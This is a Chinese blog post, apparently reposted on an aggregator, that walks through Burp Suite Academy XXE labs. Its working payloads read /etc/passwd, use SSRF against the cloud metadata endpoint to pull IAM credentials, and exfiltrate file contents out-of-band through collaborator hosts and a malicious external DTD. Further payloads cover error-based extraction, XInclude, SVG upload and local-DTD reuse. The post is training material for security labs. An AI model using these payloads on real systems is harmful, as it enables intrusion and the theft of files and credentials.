我是靠谱客的博主 飘逸烧鹅,最近开发中收集的这篇文章主要介绍burpsuit 靶场(XML external entity (XXE) injection)使用外部实体利用 XXE 来检索文件利用 XXE 执行 SSRF 攻击带外交互的盲 XXE通过 XML 参数实体进行带外交互的盲 XXE利用盲 XXE 使用恶意外部 DTD 泄露数据利用盲 XXE 通过错误消息检索数据利用 XInclude 检索文件通过图像文件上传利用 XXE通过重新利用本地 DTD,利用 XXE 检索数据,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

使用外部实体利用 XXE 来检索文件

image-20221207105545498

image-20221207105635585

这里发现一个 xml请求 简单测试下发现存在xxe

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<stockCheck>
    <productId>&xxe;</productId>
    <storeId>2</storeId>
</stockCheck>

image-20221207114318110

image-20221207114356508

利用 XXE 执行 SSRF 攻击

image-20221207114605824

跟上一关类似 只不过更换了协议

image-20221207115100609

image-20221207115115548

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]>
<stockCheck>
    <productId>&xxe;</productId>
    <storeId>1</storeId>
</stockCheck>

image-20221207115205075

image-20221207115329356

带外交互的盲 XXE

image-20221207115834303

image-20221207120150364

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "http://ap33r37p2no79dvuxo4aqtg8azgp4e.burpcollaborator.net">]>
<stockCheck>
    <productId>&xxe;</productId>
    <storeId>2</storeId>
</stockCheck>

image-20221207120156639

通过 XML 参数实体进行带外交互的盲 XXE

image-20221207123050791

当使用上一关的 payload时 出现不被允许的实体 也就是说外部实体是不被允许的 我们来尝试参数实体

xml实体的概念

https://blog.csdn.net/janchin/article/details/46849209

image-20221207123035446

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://zorino0qqxsyrp9vlnkm080bk2qvek.burpcollaborator.net"> %xxe;]>
<stockCheck>
    <productId>1</productId>
    <storeId>2</storeId>
</stockCheck>

image-20221207123458033

image-20221207123519631

利用盲 XXE 使用恶意外部 DTD 泄露数据

image-20221207132213538

放到攻击者主机并命名为 exploit.dtd

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://jf22e8rahhjii90fc7b6rsrvbmhg55.burpcollaborator.net/?x=%file;'>">

image-20221207132653504

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY % xxe SYSTEM "https://exploit-0a0b00ac03cd6d6ac12e101d011f00e2.exploit-server.net/exploit.dtd"> %xxe;%eval;%exfil;]>
<stockCheck>
    <productId>1</productId>
    <storeId>2</storeId>
</stockCheck>

简单解释一下 这里存在一个外部引用的 dtd文件 首先我们通过 %xxe; 获取到这个dtd文件并插入到适当的位置 接着引用%eval 去构造请求信息 首先通过%file 获取到了敏感文件 后拼接到url上面 接着执行%exfil 携带着 敏感文件去执行url请求

image-20221207133424962

image-20221207133443920

image-20221207133453614

利用盲 XXE 通过错误消息检索数据

image-20221207140802468

这里需要通过xml解析报错回显信息

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">

可见这里使用了外部dtd文件.其中的主要原因是 外部dtd允许我们在第二个实体中包含一个实体,但是他在内部dtd中被禁止

image-20221207150359075

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0af800c904796803c0857c8c01b600c3.exploit-server.net/exploit.dtd"> %xxe;%eval;%exfil;]>
<stockCheck>
    <productId>1</productId>
    <storeId>2</storeId>
</stockCheck>

image-20221207150928396

image-20221207150935088

利用 XInclude 检索文件

image-20221207154342139

这里使用xinclude包含文件

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
       <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

image-20221207154546084

image-20221207154604888

通过图像文件上传利用 XXE

image-20221207161318218

从原文中下载下来一个svg标签发现是xml文件格式

image-20221207161311946

我们这里尝试上传一个xml文件

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg"
     version="1.1">
    <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

image-20221207162101592

image-20221207162159961

image-20221207162219415

通过重新利用本地 DTD,利用 XXE 检索数据

image-20221207171032514

由第6关的思路我们可以通过外链 dtd文件去包含 我们的实体代码. 但是本关不能访问外链,因此我们需要利用系统内部的dtd文件去构造类似的请求

<?xml version="1.0" ?>
<!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">
        <!ENTITY % condition 'aaa)> 
        <!ENTITY % file SYSTEM "file:///etc/passwd">
        <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd; ]>
<message>any text</message>

sip-app_1_0.dtd 中的内容

<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"> <!ELEMENT pattern (%condition;)>

可以看到 首先我们通过引用condition 将我们外面的文件内容添加到了 sip-app_1_0.dtd 之中,也就可以使用 内部实体

image-20221207175744179

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>2</productId><storeId>1</storeId></stockCheck>

image-20221207180451242

最后

以上就是飘逸烧鹅为你收集整理的burpsuit 靶场(XML external entity (XXE) injection)使用外部实体利用 XXE 来检索文件利用 XXE 执行 SSRF 攻击带外交互的盲 XXE通过 XML 参数实体进行带外交互的盲 XXE利用盲 XXE 使用恶意外部 DTD 泄露数据利用盲 XXE 通过错误消息检索数据利用 XInclude 检索文件通过图像文件上传利用 XXE通过重新利用本地 DTD,利用 XXE 检索数据的全部内容,希望文章能够帮你解决burpsuit 靶场(XML external entity (XXE) injection)使用外部实体利用 XXE 来检索文件利用 XXE 执行 SSRF 攻击带外交互的盲 XXE通过 XML 参数实体进行带外交互的盲 XXE利用盲 XXE 使用恶意外部 DTD 泄露数据利用盲 XXE 通过错误消息检索数据利用 XInclude 检索文件通过图像文件上传利用 XXE通过重新利用本地 DTD,利用 XXE 检索数据所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(41)

评论列表共有 0 条评论

立即
投稿
返回
顶部